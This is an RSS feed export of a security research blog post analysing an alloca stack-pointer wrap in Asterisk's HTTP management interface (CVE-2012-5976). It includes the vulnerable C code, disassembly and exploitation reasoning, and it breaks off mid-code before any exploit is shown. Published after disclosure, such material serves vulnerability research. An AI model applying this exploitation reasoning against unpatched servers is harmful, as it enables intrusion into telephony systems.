<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Exodus Intelligence</title>
	<atom:link href="http://blog.exodusintel.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.exodusintel.com</link>
	<description></description>
	<lastBuildDate>Thu, 25 Apr 2013 15:31:18 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='blog.exodusintel.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Exodus Intelligence</title>
		<link>http://blog.exodusintel.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://blog.exodusintel.com/osd.xml" title="Exodus Intelligence" />
	<atom:link rel='hub' href='http://blog.exodusintel.com/?pushpress=hub'/>
		<item>
		<title>DoS? Then Who Was Phone?</title>
		<link>http://blog.exodusintel.com/2013/01/07/who-was-phone/</link>
		<comments>http://blog.exodusintel.com/2013/01/07/who-was-phone/#comments</comments>
		<pubDate>Mon, 07 Jan 2013 18:24:58 +0000</pubDate>
		<dc:creator>exodusintel</dc:creator>
				<category><![CDATA[Vulnerabilities]]></category>
		<category><![CDATA[AST-2012-014]]></category>
		<category><![CDATA[Asterisk Exploit]]></category>
		<category><![CDATA[CVE-2012-5976]]></category>

		<guid isPermaLink="false">http://blog.exodusintel.com/?p=417</guid>
		<description><![CDATA[Introduction This post presents exploitation notes on a vulnerability we discovered in Asterisk, an open source telephony solution produced by Digium. We reported this bug to Digium on November 27th, 2012, and provided it to customers of the Exodus Intelligence Feed as EIP-2012-0008. Digium released the advisory AST-2012-014 for this vulnerability on January 2nd, 2013, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.exodusintel.com&#038;blog=37245037&#038;post=417&#038;subd=exodusintel&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<h1>Introduction</h1>
<p>This post presents exploitation notes on a vulnerability we discovered in <a href="http://www.asterisk.org">Asterisk</a>, an open source telephony solution produced by Digium. We reported this bug to Digium on November 27th, 2012, and provided it to customers of the <a href="http://www.exodusintel.com">Exodus Intelligence Feed</a> as EIP-2012-0008. Digium released the advisory AST-2012-014 for this vulnerability on January 2nd, 2013, which was picked up shortly after by some of the aggregator sites and incorrectly categorized as a denial-of-service; however, this bug is certainly exploitable. As we found it fun to analyze, and since discussions about server-side memory bugs are a little sparse now-a-days, we thought it would be cool to share for others who might also find it interesting.</p>
<p><h1>Vulnerability</h1>
<p>The vulnerability resides in the HTTP Asterisk Management Interface (AMI) service, and is the result of an <code>alloca</code> being used to &#8220;allocate&#8221; memory with a remotely-supplied, untrusted size value. The vulnerability is present in the Asterisk source code file <code>main/http.c</code>, specifically in the function <code>ast_http_get_post_vars</code>, which as the name would suggest is used to parse HTTP POST variable data. A snip of the pertinent vulnerable code in this function is shown below:</p>
<pre><tt><b><font color="#ffed8a">struct</font></b><font color="#ddbb00"> </font><font color="#ddbb00">ast_variable</font><font color="#ddbb00"> </font><font color="#ababab">*</font><b><font color="#ddbb00">ast_http_get_post_vars</font></b><font color="#ababab">(</font>
<font color="#ddbb00">  </font><b><font color="#ffed8a">struct</font></b><font color="#ddbb00"> </font><font color="#ddbb00">ast_tcptls_session_instance</font><font color="#ddbb00"> </font><font color="#ababab">*</font><font color="#ddbb00">ser</font><font color="#ababab">,</font><font color="#ddbb00"> </font><b><font color="#ffed8a">struct</font></b><font color="#ddbb00"> </font><font color="#ddbb00">ast_variable</font><font color="#ddbb00"> </font><font color="#ababab">*</font><font color="#ddbb00">headers</font><font color="#ababab">)</font>
<font color="#ababab">{</font>
<font color="#ddbb00">  </font><font color="#ffed8a">int</font><font color="#ddbb00"> content_length </font><font color="#ababab">=</font><font color="#ddbb00"> </font><font color="#ffed8a">0</font><font color="#ababab">;</font>
<font color="#ddbb00">  </font><b><font color="#ffed8a">struct</font></b><font color="#ddbb00"> </font><font color="#ddbb00">ast_variable</font><font color="#ddbb00"> </font><font color="#ababab">*</font><font color="#ddbb00">v</font><font color="#ababab">,</font><font color="#ddbb00"> </font><font color="#ababab">*</font><font color="#ddbb00">post_vars</font><font color="#ababab">=</font><font color="#ddbb00">NULL</font><font color="#ababab">,</font><font color="#ddbb00"> </font><font color="#ababab">*</font><font color="#ddbb00">prev </font><font color="#ababab">=</font><font color="#ddbb00"> NULL</font><font color="#ababab">;</font>
<font color="#ddbb00">  </font><font color="#ffed8a">char</font><font color="#ddbb00"> </font><font color="#ababab">*</font><font color="#ddbb00">buf</font><font color="#ababab">,</font><font color="#ddbb00"> </font><font color="#ababab">*</font><font color="#ddbb00">var</font><font color="#ababab">,</font><font color="#ddbb00"> </font><font color="#ababab">*</font><font color="#ddbb00">val</font><font color="#ababab">;</font>

<font color="#ddbb00">  </font><b><font color="#ffed8a">for</font></b><font color="#ddbb00"> </font><font color="#ababab">(</font><font color="#ddbb00">v </font><font color="#ababab">=</font><font color="#ddbb00"> headers</font><font color="#ababab">;</font><font color="#ddbb00"> v</font><font color="#ababab">;</font><font color="#ddbb00"> v </font><font color="#ababab">=</font><font color="#ddbb00"> v</font><font color="#ababab">-&gt;</font><font color="#ddbb00">next</font><font color="#ababab">)</font><font color="#ddbb00"> </font><font color="#ababab">{</font>
<font color="#ddbb00">    </font><b><font color="#ffed8a">if</font></b><font color="#ddbb00"> </font><font color="#ababab">(!</font><b><font color="#ddbb00">strcasecmp</font></b><font color="#ababab">(</font><font color="#ddbb00">v</font><font color="#ababab">-&gt;</font><font color="#ddbb00">name</font><font color="#ababab">,</font><font color="#ddbb00"> </font><font color="#ff0000">"Content-Type"</font><font color="#ababab">))</font><font color="#ddbb00"> </font><font color="#ababab">{</font>
<font color="#ddbb00">      </font><b><font color="#ffed8a">if</font></b><font color="#ddbb00"> </font><font color="#ababab">(</font><b><font color="#ddbb00">strcasecmp</font></b><font color="#ababab">(</font><font color="#ddbb00">v</font><font color="#ababab">-&gt;</font><font color="#ddbb00">value</font><font color="#ababab">,</font><font color="#ddbb00"> </font><font color="#ff0000">"application/x-www-form-urlencoded"</font><font color="#ababab">))</font><font color="#ddbb00"> </font><font color="#ababab">{</font>
<font color="#ddbb00">        </font><b><font color="#ffed8a">return</font></b><font color="#ddbb00"> NULL</font><font color="#ababab">;</font>
<font color="#ddbb00">      </font><font color="#ababab">}</font>
<font color="#ddbb00">      </font><b><font color="#ffed8a">break</font></b><font color="#ababab">;</font>
<font color="#ddbb00">    </font><font color="#ababab">}</font>
<font color="#ddbb00">  </font><font color="#ababab">}</font>

<font color="#ddbb00">  </font><b><font color="#ffed8a">for</font></b><font color="#ddbb00"> </font><font color="#ababab">(</font><font color="#ddbb00">v </font><font color="#ababab">=</font><font color="#ddbb00"> headers</font><font color="#ababab">;</font><font color="#ddbb00"> v</font><font color="#ababab">;</font><font color="#ddbb00"> v </font><font color="#ababab">=</font><font color="#ddbb00"> v</font><font color="#ababab">-&gt;</font><font color="#ddbb00">next</font><font color="#ababab">)</font><font color="#ddbb00"> </font><font color="#ababab">{</font>
<font color="#ddbb00">    </font><b><font color="#ffed8a">if</font></b><font color="#ddbb00"> </font><font color="#ababab">(!</font><b><font color="#ddbb00">strcasecmp</font></b><font color="#ababab">(</font><font color="#ddbb00">v</font><font color="#ababab">-&gt;</font><font color="#ddbb00">name</font><font color="#ababab">,</font><font color="#ddbb00"> </font><font color="#ff0000">"Content-Length"</font><font color="#ababab">))</font><font color="#ddbb00"> </font><font color="#ababab">{</font>
<font color="#ddbb00">      content_length </font><font color="#ababab">=</font><font color="#ddbb00"> </font><b><font color="#ddbb00">atoi</font></b><font color="#ababab">(</font><font color="#ddbb00">v</font><font color="#ababab">-&gt;</font><font color="#ddbb00">value</font><font color="#ababab">)</font><font color="#ddbb00"> </font><font color="#ababab">+</font><font color="##ffed8a"> </font><font color="#ffed8a">1</font><font color="#ababab">;</font>
<font color="#ddbb00">      </font><b><font color="#ffed8a">break</font></b><font color="#ababab">;</font>
<font color="#ddbb00">    </font><font color="#ababab">}</font>
<font color="#ddbb00">  </font><font color="#ababab">}</font>

<font color="#ddbb00">  </font><b><font color="#ffed8a">if</font></b><font color="#ddbb00"> </font><font color="#ababab">(!</font><font color="#ddbb00">content_length</font><font color="#ababab">)</font><font color="#ddbb00"> </font><font color="#ababab">{</font>
<font color="#ddbb00">    </font><b><font color="#ffed8a">return</font></b><font color="#ddbb00"> NULL</font><font color="#ababab">;</font>
<font color="#ddbb00">  </font><font color="#ababab">}</font>

<font color="#ddbb00">  </font><b><font color="#ffed8a">if</font></b><font color="#ddbb00"> </font><font color="#ababab">(!(</font><font color="#ddbb00">buf </font><font color="#ababab">=</font><font color="#ddbb00"> </font><b><font color="#ddbb00">alloca</font></b><font color="#ababab">(</font><font color="#ddbb00">content_length</font><font color="#ababab">)))</font><font color="#ddbb00"> </font><font color="#ababab">{</font>
<font color="#ddbb00">    </font><b><font color="#ffed8a">return</font></b><font color="#ddbb00"> NULL</font><font color="#ababab">;</font>
<font color="#ddbb00">  </font><font color="#ababab">}</font>
<font color="#ddbb00">  </font><b><font color="#ffed8a">if</font></b><font color="#ddbb00"> </font><font color="#ababab">(!</font><b><font color="#ddbb00">fgets</font></b><font color="#ababab">(</font><font color="#ddbb00">buf</font><font color="#ababab">,</font><font color="#ddbb00"> content_length</font><font color="#ababab">,</font><font color="#ddbb00"> ser</font><font color="#ababab">-&gt;</font><font color="#ddbb00">f</font><font color="#ababab">))</font><font color="#ddbb00"> </font><font color="#ababab">{</font>
<font color="#ddbb00">    </font><b><font color="#ffed8a">return</font></b><font color="#ddbb00"> NULL</font><font color="#ababab">;</font>
<font color="#ddbb00">  </font><font color="#ababab">}</font>
</tt></pre>
<p>The code shows the length value being converted from the Content-Length string using <code>atoi</code>, then incremented by one and stored in the <code>content_length</code> variable. Memory is obtained by <code>alloca</code> for the expected content length, and pointed to by <code>*buf</code>. Finally, <code>fgets</code> is called to read the expected amount of content data into this buffer. I found it interesting that the code looks as though it may have been written with memory management issues in mind, as the check to ensure <code>content_length</code> is not zero would catch an integer overflow caused by adding one to the value. </p>
<p>Below is a snip of disassembled code for the vulnerable function as compiled in the Asterisk package shipped with Ubuntu. This snip shows the size value being set and used to subtract the stack pointer (<code>ESP</code>) to &#8220;allocate&#8221; stack memory:</p>
<pre><tt><font color="#ababab">&lt;</font><font color="#ddbb00">ast_http_get_post_vars</font><font color="#ababab">+</font><font color="#ffed8a">187</font><font color="#ababab">&gt;:</font><font color="#ddbb00">   </font><b><font color="#ffed8a">call</font></b><font color="#ddbb00">   </font><font color="#ababab">&lt;</font><font color="#ddbb00">strtol@plt</font><font color="#ababab">&gt;</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">ast_http_get_post_vars</font><font color="#ababab">+</font><font color="#ffed8a">192</font><font color="#ababab">&gt;:</font><font color="#ddbb00">   </font><b><font color="#ffed8a">mov</font></b><font color="#ddbb00">    </font><font color="#ddbb00">edx</font><font color="#ababab">,</font><font color="#ddbb00">eax</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">ast_http_get_post_vars</font><font color="#ababab">+</font><font color="#ffed8a">194</font><font color="#ababab">&gt;:</font><font color="#ddbb00">   </font><b><font color="#ffed8a">add</font></b><font color="#ddbb00">    </font><font color="#ddbb00">edx</font><font color="#ababab">,</font><font color="#ffed8a">0x1</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">ast_http_get_post_vars</font><font color="#ababab">+</font><font color="#ffed8a">197</font><font color="#ababab">&gt;:</font><font color="#ddbb00">   </font><b><font color="#ffed8a">je</font></b><font color="#ddbb00">     </font><font color="#ababab">&lt;</font><font color="#ddbb00">ast_http_get_post_vars</font><font color="#ababab">+</font><font color="#ffed8a">408</font><font color="#ababab">&gt;</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">ast_http_get_post_vars</font><font color="#ababab">+</font><font color="#ffed8a">203</font><font color="#ababab">&gt;:</font><font color="#ddbb00">   </font><b><font color="#ffed8a">mov</font></b><font color="#ddbb00">    </font><font color="#ddbb00">ecx</font><font color="#ababab">,</font><font color="#ddbb00">DWORD </font><b><font color="#ffed8a">PTR</font></b><font color="#ddbb00"> </font><font color="#ababab">[</font><font color="#ddbb00">ebp</font><font color="#ababab">-</font><font color="#ffed8a">0x30</font><font color="#ababab">]</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">ast_http_get_post_vars</font><font color="#ababab">+</font><font color="#ffed8a">206</font><font color="#ababab">&gt;:</font><font color="#ddbb00">   </font><b><font color="#ffed8a">add</font></b><font color="#ddbb00">    </font><font color="#ddbb00">eax</font><font color="#ababab">,</font><font color="#ffed8a">0x1f</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">ast_http_get_post_vars</font><font color="#ababab">+</font><font color="#ffed8a">209</font><font color="#ababab">&gt;:</font><font color="#ddbb00">   </font><b><font color="#ffed8a">and</font></b><font color="#ddbb00">    </font><font color="#ddbb00">eax</font><font color="#ababab">,</font><font color="#ffed8a">0xfffffff0</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">ast_http_get_post_vars</font><font color="#ababab">+</font><font color="#ffed8a">212</font><font color="#ababab">&gt;:</font><font color="#ddbb00">   </font><b><font color="#ffed8a">sub</font></b><font color="#ddbb00">    </font><font color="#ddbb00">esp</font><font color="#ababab">,</font><font color="#ddbb00">eax</font> &lt;----- LOL
<font color="#ababab">&lt;</font><font color="#ddbb00">ast_http_get_post_vars</font><font color="#ababab">+</font><font color="#ffed8a">214</font><font color="#ababab">&gt;:</font><font color="#ddbb00">   </font><b><font color="#ffed8a">lea</font></b><font color="#ddbb00">    </font><font color="#ddbb00">esi</font><font color="#ababab">,[</font><font color="#ddbb00">esp</font><font color="#ababab">+</font><font color="#ffed8a">0x1b</font><font color="#ababab">]</font>
</tt></pre>
<p>As shown, the <code>alloca</code> is compiled into a simple set of instructions to ADD and AND-off the size to be allocated from the stack. It then subtracts the revised size from the stack pointer, and stores an address derived from this into the <code>ESI</code> register for further use. </p>
<h1>Exploitation Obstacles</h1>
<p>Since most compilers implement <code>alloca</code> as a fairly direct subtraction of the stack pointer, the exploitation of <code>alloca</code> is often as simple as providing a size value large enough to wrap the stack pointer around to a desirable location higher on the stack. Subsequent use of the pointer to store remotely supplied data would then result in stack memory corruption, and allow for vanilla exploitation techniques to gain control of program execution flow.</p>
<p>However, here the vulnerable code uses the function <code>fgets</code> to read network data into the obtained memory space. This complicates the situation for exploitation as the libc implementation of <code>fgets</code> performs a check on its length argument to ensure that it is not beyond the signed integer boundary of <code>0x7FFFFFFF</code>. If this check fails, <code>fgets</code> does not read data and returns an error. The code snip below shows the check performed inside of <code>fgets</code> as implemented in libc.6.so:</p>
<pre><tt><font color="#ababab">&lt;</font><font color="#ddbb00">fgets</font><font color="#ababab">+</font><font color="#ffed8a">0</font><font color="#ababab">&gt;:</font><font color="#ddbb00">     </font><b><font color="#ffed8a">sub</font></b><font color="#ddbb00">    </font><font color="#ddbb00">esp</font><font color="#ababab">,</font><font color="#ffed8a">0x4c</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">fgets</font><font color="#ababab">+</font><font color="#ffed8a">3</font><font color="#ababab">&gt;:</font><font color="#ddbb00">     </font><b><font color="#ffed8a">mov</font></b><font color="#ddbb00">    DWORD </font><b><font color="#ffed8a">PTR</font></b><font color="#ddbb00"> </font><font color="#ababab">[</font><font color="#ddbb00">esp</font><font color="#ababab">+</font><font color="#ffed8a">0x48</font><font color="#ababab">],</font><font color="#ddbb00">ebp</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">fgets</font><font color="#ababab">+</font><font color="#ffed8a">7</font><font color="#ababab">&gt;:</font><font color="#ddbb00">     </font><b><font color="#ffed8a">mov</font></b><font color="#ddbb00">    </font><font color="#ddbb00">ebp</font><font color="#ababab">,</font><font color="#ddbb00">DWORD </font><b><font color="#ffed8a">PTR</font></b><font color="#ddbb00"> </font><font color="#ababab">[</font><font color="#ddbb00">esp</font><font color="#ababab">+</font><font color="#ffed8a">0x54</font><font color="#ababab">]</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">fgets</font><font color="#ababab">+</font><font color="#ffed8a">11</font><font color="#ababab">&gt;:</font><font color="#ddbb00">    </font><b><font color="#ffed8a">mov</font></b><font color="#ddbb00">    DWORD </font><b><font color="#ffed8a">PTR</font></b><font color="#ddbb00"> </font><font color="#ababab">[</font><font color="#ddbb00">esp</font><font color="#ababab">+</font><font color="#ffed8a">0x3c</font><font color="#ababab">],</font><font color="#ddbb00">ebx</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">fgets</font><font color="#ababab">+</font><font color="#ffed8a">15</font><font color="#ababab">&gt;:</font><font color="#ddbb00">    </font><b><font color="#ffed8a">call</font></b><font color="#ddbb00">   </font><font color="#ababab">&lt;</font><font color="#ddbb00">mov_esp_ebx</font><font color="#ababab">&gt;</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">fgets</font><font color="#ababab">+</font><font color="#ffed8a">20</font><font color="#ababab">&gt;:</font><font color="#ddbb00">    </font><b><font color="#ffed8a">add</font></b><font color="#ddbb00">    </font><font color="#ddbb00">ebx</font><font color="#ababab">,</font><font color="#ffed8a">0x14051c</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">fgets</font><font color="#ababab">+</font><font color="#ffed8a">26</font><font color="#ababab">&gt;:</font><font color="#ddbb00">    </font><b><font color="#ffed8a">mov</font></b><font color="#ddbb00">    DWORD </font><b><font color="#ffed8a">PTR</font></b><font color="#ddbb00"> </font><font color="#ababab">[</font><font color="#ddbb00">esp</font><font color="#ababab">+</font><font color="#ffed8a">0x40</font><font color="#ababab">],</font><font color="#ddbb00">esi</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">fgets</font><font color="#ababab">+</font><font color="#ffed8a">30</font><font color="#ababab">&gt;:</font><font color="#ddbb00">    </font><b><font color="#ffed8a">mov</font></b><font color="#ddbb00">    </font><font color="#ddbb00">esi</font><font color="#ababab">,</font><font color="#ddbb00">DWORD </font><b><font color="#ffed8a">PTR</font></b><font color="#ddbb00"> </font><font color="#ababab">[</font><font color="#ddbb00">esp</font><font color="#ababab">+</font><font color="#ffed8a">0x58</font><font color="#ababab">]</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">fgets</font><font color="#ababab">+</font><font color="#ffed8a">34</font><font color="#ababab">&gt;:</font><font color="#ddbb00">    </font><b><font color="#ffed8a">test</font></b><font color="#ddbb00">   </font><font color="#ddbb00">ebp</font><font color="#ababab">,</font><font color="#ddbb00">ebp</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">fgets</font><font color="#ababab">+</font><font color="#ffed8a">36</font><font color="#ababab">&gt;:</font><font color="#ddbb00">    </font><b><font color="#ffed8a">mov</font></b><font color="#ddbb00">    DWORD </font><b><font color="#ffed8a">PTR</font></b><font color="#ddbb00"> </font><font color="#ababab">[</font><font color="#ddbb00">esp</font><font color="#ababab">+</font><font color="#ffed8a">0x44</font><font color="#ababab">],</font><font color="#ddbb00">edi</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">fgets</font><font color="#ababab">+</font><font color="#ffed8a">36</font><font color="#ababab">&gt;:</font><font color="#ddbb00">    </font><b><font color="#ffed8a">mov</font></b><font color="#ddbb00">    DWORD </font><b><font color="#ffed8a">PTR</font></b><font color="#ddbb00"> </font><font color="#ababab">[</font><font color="#ddbb00">esp</font><font color="#ababab">+</font><font color="#ffed8a">0x44</font><font color="#ababab">],</font><font color="#ddbb00">edi</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">fgets</font><font color="#ababab">+</font><font color="#ffed8a">40</font><font color="#ababab">&gt;:</font><font color="#ddbb00">    </font><b><font color="#ffed8a">jle</font></b><font color="#ddbb00">    </font><font color="#ababab">&lt;</font><font color="#ddbb00">fgets</font><font color="#ababab">+</font><font color="#ffed8a">336</font><font color="#ababab">&gt;</font>
<font color="#ababab">...</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">fgets</font><font color="#ababab">+</font><font color="#ffed8a">336</font><font color="#ababab">&gt;:</font><font color="#ddbb00">   </font><b><font color="#ffed8a">mov</font></b><font color="#ddbb00">    DWORD </font><b><font color="#ffed8a">PTR</font></b><font color="#ddbb00"> </font><font color="#ababab">[</font><font color="#ddbb00">esp</font><font color="#ababab">+</font><font color="#ffed8a">0x50</font><font color="#ababab">],</font><font color="#ffed8a">0x0</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">fgets</font><font color="#ababab">+</font><font color="#ffed8a">344</font><font color="#ababab">&gt;:</font><font color="#ddbb00">   </font><b><font color="#ffed8a">jmp</font></b><font color="#ddbb00">    </font><font color="#ababab">&lt;</font><font color="#ddbb00">fgets</font><font color="#ababab">+</font><font color="#ffed8a">256</font><font color="#ababab">&gt;</font>
<font color="#ababab">...</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">fgets</font><font color="#ababab">+</font><font color="#ffed8a">256</font><font color="#ababab">&gt;:</font><font color="#ddbb00">   </font><b><font color="#ffed8a">mov</font></b><font color="#ddbb00">    </font><font color="#ddbb00">eax</font><font color="#ababab">,</font><font color="#ddbb00">DWORD </font><b><font color="#ffed8a">PTR</font></b><font color="#ddbb00"> </font><font color="#ababab">[</font><font color="#ddbb00">esp</font><font color="#ababab">+</font><font color="#ffed8a">0x50</font><font color="#ababab">]</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">fgets</font><font color="#ababab">+</font><font color="#ffed8a">260</font><font color="#ababab">&gt;:</font><font color="#ddbb00">   </font><b><font color="#ffed8a">mov</font></b><font color="#ddbb00">    </font><font color="#ddbb00">ebx</font><font color="#ababab">,</font><font color="#ddbb00">DWORD </font><b><font color="#ffed8a">PTR</font></b><font color="#ddbb00"> </font><font color="#ababab">[</font><font color="#ddbb00">esp</font><font color="#ababab">+</font><font color="#ffed8a">0x3c</font><font color="#ababab">]</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">fgets</font><font color="#ababab">+</font><font color="#ffed8a">264</font><font color="#ababab">&gt;:</font><font color="#ddbb00">   </font><b><font color="#ffed8a">mov</font></b><font color="#ddbb00">    </font><font color="#ddbb00">esi</font><font color="#ababab">,</font><font color="#ddbb00">DWORD </font><b><font color="#ffed8a">PTR</font></b><font color="#ddbb00"> </font><font color="#ababab">[</font><font color="#ddbb00">esp</font><font color="#ababab">+</font><font color="#ffed8a">0x40</font><font color="#ababab">]</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">fgets</font><font color="#ababab">+</font><font color="#ffed8a">268</font><font color="#ababab">&gt;:</font><font color="#ddbb00">   </font><b><font color="#ffed8a">mov</font></b><font color="#ddbb00">    </font><font color="#ddbb00">edi</font><font color="#ababab">,</font><font color="#ddbb00">DWORD </font><b><font color="#ffed8a">PTR</font></b><font color="#ddbb00"> </font><font color="#ababab">[</font><font color="#ddbb00">esp</font><font color="#ababab">+</font><font color="#ffed8a">0x44</font><font color="#ababab">]</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">fgets</font><font color="#ababab">+</font><font color="#ffed8a">272</font><font color="#ababab">&gt;:</font><font color="#ddbb00">   </font><b><font color="#ffed8a">mov</font></b><font color="#ddbb00">    </font><font color="#ddbb00">ebp</font><font color="#ababab">,</font><font color="#ddbb00">DWORD </font><b><font color="#ffed8a">PTR</font></b><font color="#ddbb00"> </font><font color="#ababab">[</font><font color="#ddbb00">esp</font><font color="#ababab">+</font><font color="#ffed8a">0x48</font><font color="#ababab">]</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">fgets</font><font color="#ababab">+</font><font color="#ffed8a">276</font><font color="#ababab">&gt;:</font><font color="#ddbb00">   </font><b><font color="#ffed8a">add</font></b><font color="#ddbb00">    </font><font color="#ddbb00">esp</font><font color="#ababab">,</font><font color="#ffed8a">0x4c</font>
<font color="#ababab">&lt;</font><font color="#ddbb00">fgets</font><font color="#ababab">+</font><font color="#ffed8a">279</font><font color="#ababab">&gt;:</font><font color="#ddbb00">   </font><b><font color="#ffed8a">ret</font></b><font color="#ddbb00">    </font>
</tt></pre>
<p>The <code>EBP</code> register, containing the length argument, is checked to be a positive signed value using the <code>TEST</code> and <code>JLE</code> instructions at <code>&lt;fgets+34&gt;</code> and <code>&lt;fgets+40&gt;</code>. If the check fails, the code jumps to return an error, making <code>fgets</code> unusable for exploiting a wrapped stack pointer to overwrite memory with data read from the network. While stack corruption by this means is still possible through the pushing and moving of data to the stack by other compiled code operations, the lack of control and limited set of operations make this approach undesirable.</p>
<p>At this point some might categorize this vulnerability as purely theoretical or possibly even unexploitable. As I hope many readers would agree, a challenge of this nature is always inviting. The Exodus team loves goading and trolling one another in these scenarios, usually with something along the lines of &#8220;Yeah, it is probably too tough for you to exploit&#8230;&#8221; or &#8220;you should probably just give up.&#8221; The recipient of this pep talk usually proceeds to cry and reevaluate the code until an idea hits them or they decide to resign to a life of PCI compliance auditing. <em>Challenge accepted</em>.</p>
<h1>EIP Control</h1>
<p>After spending some time analyzing the problem and hating computers, I found a way to exploit this vulnerability. The HTTP listener for the Asterisk Management Interface handles every new connection by creating a new thread to execute a designated worker function to process the request. The code to setup and complete this task is spread out across multiple functions and macros and is a little messy, so we&#8217;ll try to keep details to a minimum. The HTTP AMI is started initially by a call chain of functions starting with <code>ast_http_init</code>, which calls <code>__ast_http_load</code>, which then calls <code>ast_tcptls_server_start</code>. The function <code>ast_tcptls_server_start</code> performs standard TCP socket setup operations, and is defined as:</p>
<p><code>void ast_tcptls_server_start(struct ast_tcptls_session_args *desc)</code></p>
<p>Despite the name, <code>ast_tcptls_server_start</code> is used for both TLS and non-TLS service setup. The single argument taken by this function is a structure describing aspects of the server to be started. From <code>__ast_http_load</code>, the call looks like:</p>
<p><code>ast_tcptls_server_start(&amp;http_desc);</code></p>
<p>The structure structure <code>http_desc</code> is defined in <code>main/http.c</code> as:</p>
<pre><tt><b><font color="#ffed8a">static</font></b><font color="#ddbb00"> </font><b><font color="#ffed8a">struct</font></b><font color="#ddbb00"> </font><font color="#ddbb00">ast_tcptls_session_args</font><font color="#ddbb00"> http_desc </font><font color="#ababab">=</font><font color="#ddbb00"> </font><font color="#ababab">{</font>
<font color="#ddbb00">  </font><font color="#ababab">.</font><font color="#ddbb00">accept_fd </font><font color="#ababab">=</font><font color="#ddbb00"> </font><font color="#ababab">-</font><font color="#ffed8a">1</font><font color="#ababab">,</font>
<font color="#ddbb00">  </font><font color="#ababab">.</font><font color="#ddbb00">master </font><font color="#ababab">=</font><font color="#ddbb00"> AST_PTHREADT_NULL</font><font color="#ababab">,</font>
<font color="#ddbb00">  </font><font color="#ababab">.</font><font color="#ddbb00">tls_cfg </font><font color="#ababab">=</font><font color="#ddbb00"> NULL</font><font color="#ababab">,</font>
<font color="#ddbb00">  </font><font color="#ababab">.</font><font color="#ddbb00">poll_timeout </font><font color="#ababab">=</font><font color="#ddbb00"> </font><font color="#ababab">-</font><font color="#ffed8a">1</font><font color="#ababab">,</font>
<font color="#ddbb00">  </font><font color="#ababab">.</font><font color="#ddbb00">name </font><font color="#ababab">=</font><font color="#ddbb00"> </font><font color="#ff0000">"http server"</font><font color="#ababab">,</font>
<font color="#ddbb00">  </font><font color="#ababab">.</font><font color="#ddbb00">accept_fn </font><font color="#ababab">=</font><font color="#ddbb00"> ast_tcptls_server_root</font><font color="#ababab">,</font>
<font color="#ddbb00">  </font><font color="#ababab">.</font><font color="#ddbb00">worker_fn </font><font color="#ababab">=</font><font color="#ddbb00"> httpd_helper_thread</font><font color="#ababab">,</font>
<font color="#ababab">}</font><font color="#ababab">;</font>
</tt></pre>
<p>The <code>.accept_fn</code> is a function pointer for a function to accept the connection, and the <code>worker_fn</code> is a pointer to the worker function responsible for processing the request once a new thread is created. After more setup code, a new thread is created to accept socket connections by calling the function <code>ast_tcptls_server_root</code>. For each TCP connection accepted on the listening HTTP port (default 8088), <code>ast_tcptls_server_root</code> calls the following thread creation wrapper to create a new thread and eventually call the worker function:</p>
<p><tt>
<pre>
<font color="#ababab">...</font>
<b><font color="#ffed8a">if</font></b><font color="#ddbb00"> </font><font color="#ababab">(</font><b><font color="#ddbb00">ast_pthread_create_detached_background</font></b><font color="#ababab">(&amp;</font><font color="#ddbb00">launched</font><font color="#ababab">,</font><font color="#ddbb00"> NULL</font><font color="#ababab">,</font><font color="#ddbb00"> handle_tcptls_connection</font><font color="#ababab">,</font><font color="#ddbb00"> tcptls_session</font><font color="#ababab">))</font><font color="#ddbb00"> </font><font color="#ababab">{</font>
<font color="#ddbb00">  </font><b><font color="#ddbb00">ast_log</font></b><font color="#ababab">(</font><font color="#ddbb00">LOG_WARNING</font><font color="#ababab">,</font><font color="#ddbb00"> </font><font color="#ff0000">"Unable to launch helper thread: %s</font><font color="#ff0000">\n</font><font color="#ff0000">"</font><font color="#ababab">,</font><font color="#ddbb00"> </font><b><font color="#ddbb00">strerror</font></b><font color="#ababab">(</font><font color="#ddbb00">errno</font><font color="#ababab">));</font>
